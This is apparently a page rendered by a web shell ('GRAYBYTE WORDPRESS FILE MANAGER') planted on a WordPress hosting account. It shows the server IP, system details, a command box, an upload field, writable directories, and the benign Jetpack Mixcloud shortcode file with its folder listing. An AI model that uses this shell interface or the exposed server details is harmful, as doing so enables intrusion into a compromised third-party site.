GRAYBYTE WORDPRESS FILE MANAGER4643

Server IP : 162.213.255.40 / Your IP : 216.73.216.121
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/shortcodes/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/plugins/jetpack/modules/shortcodes//mixcloud.php
<?php
/**
 * Mixcloud embeds
 *
 * Examples:
 * [mixcloud MalibuRum/play-6-kissy-sellouts-winter-sun-house-party-mix/ /]
 * [mixcloud MalibuRum/play-6-kissy-sellouts-winter-sun-house-party-mix/ width=640 height=480 /]
 * [mixcloud http://www.mixcloud.com/MalibuRum/play-6-kissy-sellouts-winter-sun-house-party-mix/ /]
 * [mixcloud http://www.mixcloud.com/MalibuRum/play-6-kissy-sellouts-winter-sun-house-party-mix/ width=640 height=480 /]
 * [mixcloud]http://www.mixcloud.com/MalibuRum/play-6-kissy-sellouts-winter-sun-house-party-mix/[/mixcloud]
 * [mixcloud]MalibuRum/play-6-kissy-sellouts-winter-sun-house-party-mix/[/mixcloud]
 * [mixcloud http://www.mixcloud.com/mat/playlists/classics/ width=660 height=208 hide_cover=1 hide_tracklist=1]
 *
 * @package automattic/jetpack
 */

/*
 * Register oEmbed provider
 * Example URL: http://app.mixcloud.com/oembed/?url=http://www.mixcloud.com/MalibuRum/play-6-kissy-sellouts-winter-sun-house-party-mix/
 */
wp_oembed_add_provider( '#https?://(?:www\.)?mixcloud\.com/\S*#i', 'https://app.mixcloud.com/oembed/', true );

/**
 * Register mixcloud shortcode.
 *
 * @param array  $atts    Shortcode atttributes.
 * @param string $content Post content.
 */
function mixcloud_shortcode( $atts, $content = null ) {

	if ( empty( $atts[0] ) && empty( $content ) ) {
		return '<!-- mixcloud error: invalid mixcloud resource -->';
	}

	$regular_expression = '/((?<=mixcloud\.com\/)[\w\-\/]+$)|(^[\w\-\/]+$)/i';
	preg_match( $regular_expression, $content, $match );
	if ( ! empty( $match ) ) {
		$resource_id = trim( $match[0] );
	} else {
		preg_match( $regular_expression, $atts[0], $match );
		if ( ! empty( $match ) ) {
			$resource_id = trim( $match[0] );
		}
	}

	if ( empty( $resource_id ) ) {
		return '<!-- mixcloud error: invalid mixcloud resource -->';
	}

	$mixcloud_url = 'https://mixcloud.com/' . $resource_id;

	$atts = shortcode_atts(
		array(
			'width'          => false,
			'height'         => false,
			'color'          => false,
			'light'          => false,
			'dark'           => false,
			'hide_tracklist' => false,
			'hide_cover'     => false,
			'mini'           => false,
			'hide_followers' => false,
			'hide_artwork'   => false,
		),
		$atts
	);

	// remove falsey values.
	$atts = array_filter( $atts );

	$query_args = array( 'url' => $mixcloud_url );
	$query_args = array_merge( $query_args, $atts );

	$url               = add_query_arg( urlencode_deep( $query_args ), 'https://app.mixcloud.com/oembed/' );
	$mixcloud_response = wp_remote_get( $url, array( 'redirection' => 0 ) );
	if ( is_wp_error( $mixcloud_response ) || 200 !== $mixcloud_response['response']['code'] || empty( $mixcloud_response['body'] ) ) {
		return '<!-- mixcloud error: invalid mixcloud resource -->';
	}

	$response_body = json_decode( $mixcloud_response['body'] );

	$html = $response_body->html;

	preg_match( '/sandbox="([^"]*)"/', $html, $matches );

	if ( empty( $matches ) ) { // Mixcloud doesn't use sandbox attribute.
		$html = preg_replace( '/>/', ' sandbox="allow-popups allow-scripts allow-same-origin allow-presentation">', $html, 1 );
	} else { // Mixcloud uses sandbox attribute.

		$allowed_values = array();
		// Here we make sure that these string are not repeated in the sandbox attribute.
		$attrs = array( 'allow-popups', 'allow-scripts', 'allow-same-origin', 'allow-presentation' );
		foreach ( $attrs as $attr ) {
			if ( ! str_contains( $matches[1], $attr ) ) {
				$allowed_values[] = $attr;
			}
		}

		$sandbox_value = $matches[1] . ' ' . implode( ' ', $allowed_values );

		$html = preg_replace( '/sandbox="([^"]*)"/', "sandbox=\"$sandbox_value\"", $html );
	}

	return $html;
}
add_shortcode( 'mixcloud', 'mixcloud_shortcode' );

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
css
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
images
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
img
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
js
--
July 23 2025 07:38:28
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:28
hellrfbn / hellrfbn
0644
archiveorg-book.php
3.314 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
archiveorg.php
3.921 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
archives.php
2.38 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
bandcamp.php
7.749 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
brightcove.php
8.77 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
cartodb.php
0.784 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
class.filter-embedded-html-objects.php
13.012 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
codepen.php
0.259 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
crowdsignal.php
21.596 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
dailymotion.php
15.268 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
descript.php
2.995 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
facebook.php
4.727 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
flatio.php
0.374 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
flickr.php
9.289 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
getty.php
7.539 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
gist.php
8.313 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
googleapps.php
9.843 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
googlemaps.php
7.969 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
googleplus.php
1.029 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
gravatar.php
6.133 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
houzz.php
0.898 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
inline-pdfs.php
1.141 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
instagram.php
14.506 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
kickstarter.php
2.391 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
mailchimp.php
7.025 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
medium.php
3.223 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
mixcloud.php
3.616 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
others.php
2.065 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
pinterest.php
1.791 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
presentations.php
14.532 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
quiz.php
9.158 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
recipe.php
18.951 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
scribd.php
2.445 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
sitemap.php
0.549 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
slideshare.php
3.812 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
slideshow.php
9.271 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
smartframe.php
3.641 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
soundcloud.php
8.676 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
spotify.php
3.258 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
ted.php
3.349 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
tweet.php
5.027 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
twitchtv.php
2.625 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
twitter-timeline.php
1.933 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
unavailable.php
3.237 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
untappd-menu.php
2.406 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
upcoming-events.php
1.684 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
ustream.php
3.131 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
videopress.php
0.413 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
vimeo.php
11.509 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
vine.php
2.611 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
vr.php
4.917 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
wufoo.php
3.382 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644
youtube.php
23.328 KB
February 05 2025 15:45:00
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF